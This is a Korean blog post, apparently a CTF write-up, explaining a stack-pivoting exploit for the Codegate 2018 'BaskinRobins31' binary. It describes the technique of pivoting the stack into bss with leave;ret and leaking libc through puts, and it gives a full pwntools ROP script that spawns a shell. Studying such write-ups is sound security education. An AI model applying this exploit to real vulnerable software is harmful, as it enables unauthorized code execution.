뇌
BaskinRobins31 - Stack Pivoting 본문
일단 내가 지금까지 해석한 스택 피보팅은 여러가지 경우가 있겠지만, 대개 BOF 를 Return address 까지 밖에 할 수 없을 때 ROP 를 하고 싶으면 사용하는 것 같다.
내가 이번 문제에서 사용한 스택 피보팅 방법은 쓸 수 있는 영역( bss ) 에 leak 하는 페이로드, 다른 bss 영역에 쉘을 따는 페이로드를 넣고, SFP 를 변조하고 leave; leave; ret 을 통해 스택의 자체를 bss 영역으로 변조하는 방법을 사용했다.
read 함수에서 위치가 rbp-0xb0 인 변수 s 에 최대 0x190 까지 넣을 수 있게 한다.
즉 BOF 가 발생하는데, ret 보다 더 뒤도 덮을 수 있지만, 스택 피보팅을 연습하기 위해 ret 까지 덮을 수 있다고 가정하고, 풀었다.
공격 방법
세번의 페이로드를 보낸다.
1. read 함수로 sfp 를 bss + 0x200 로 변조, ret 을 your_turn() 에 있는 read 함수 코드 쪽 위치로 변조.
- 이러면 rbp 에 bss + 0x200 이 들어가고, 다시 read 함수로 받는다. 그럼 bss + 0x200 - 0xb0 위치부터 원하는 값으로 덮을 수 있다.
2. 처음 8 bytes 는 다음에 여기로 뛰면 SFP 가 될 것이므로, 다음 페이로드에서 system("/bin/sh"); 으로 덮을 다른 bss 주소인 bss + 0x300 위치로 덮는다.
그리고 puts(puts@got); 후 read 함수를 실행시키기 위해 다시 your_turn 에 있는 함수로 뛰도록 이 주소로 덮는다.
그리고 SFP 위치 전까지 아무 값으로 덮어주고, SFP 자리에 다음에 우리가 뛸 위치, 즉 bss + 0x200 - 0xb0 으로 덮는다. (그래야 puts(puts@got); 가 실행되어 leak 을 할 수 있음. )
ret 는 leave; ret 가젯으로 덮는다. ( rsp 를 bss + 0x200 - 0xb0 으로 가기 위함 )
3. 이제 leak 을 했으므로, system 함수, "/bin/sh" 문자열 주소를 구한 후, 이제 rbp 는 아까 처음 8 bytes 를 입력한 곳인 bss + 0x300 이므로 이 위치 - 0xb0 부터 system("/bin/sh"); 함수로 덮는다.
그리고 이번에는 SFP 를 bss + 0x300-0xb0 - 0x8 로 덮는다. ( rsp 가 SFP 자리여야 leave; ret; 을 했을 때 ret 의 인자가 bss + 0x300 이 되므로 )
Ret 은 2번과 같이 leave; ret 가젯으로 덮는다. ( rsp 를 bss + 0x300 - 0xb0 - 0x8 로 가기 위함 )
[ payload ]
from pwn import *
context.log_level = 'debug'
p = process('./BaskinRobins31')
e = ELF('./BaskinRobins31')
libc = e.libc
readlr = 0x00000000004008e0
lr = 0x0000000000400979
prdi = 0x0000000000400bc3
# 1번 설명
pay = ''
pay += 'A'*0xB0
pay += p64(e.bss()+0x200)
pay += p64(readlr)
p.sendlineafter('(1-3)\n', pay)
#pause()
# 2번 설명
pay = ''
pay += p64(e.bss()+0x300)
pay += p64(prdi)
pay += p64(e.got['puts'])
pay += p64(e.plt['puts'])
pay += p64(readlr)
pay += 'A'*(0xb0-len(pay))
pay += p64(e.bss()+0x200-0xB0)
pay += p64(lr)
pause()
p.sendlineafter('.:( \n', pay)
l = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
libcbase = l - libc.symbols['puts']
log.info('libc_base : ' + hex(libcbase))
system = libcbase + libc.symbols['system']
binsh = libcbase + next(libc.search('/bin/sh'))
# 3번 설명
pay = ''
pay += p64(prdi)
pay += p64(binsh)
pay += p64(system)
pay += 'A'*(0xb0-len(pay))
pay += p64(e.bss()+0x300-0xB8)
pay += p64(lr)
p.sendlineafter('\n', pay)
p.interactive()
[ 결과 ]
'Layer 7' 카테고리의 다른 글
웹브라우저와 서버 통신 (0) | 2020.09.23 |
---|---|
Docker, Container (0) | 2020.09.16 |
객체 지향 프로그래밍 (0) | 2020.09.10 |
운영체제 메모리 할당 알고리즘 (0) | 2020.09.02 |
[Pwnable] Codegate 2018 - BaskinRobins31 (0) | 2020.09.01 |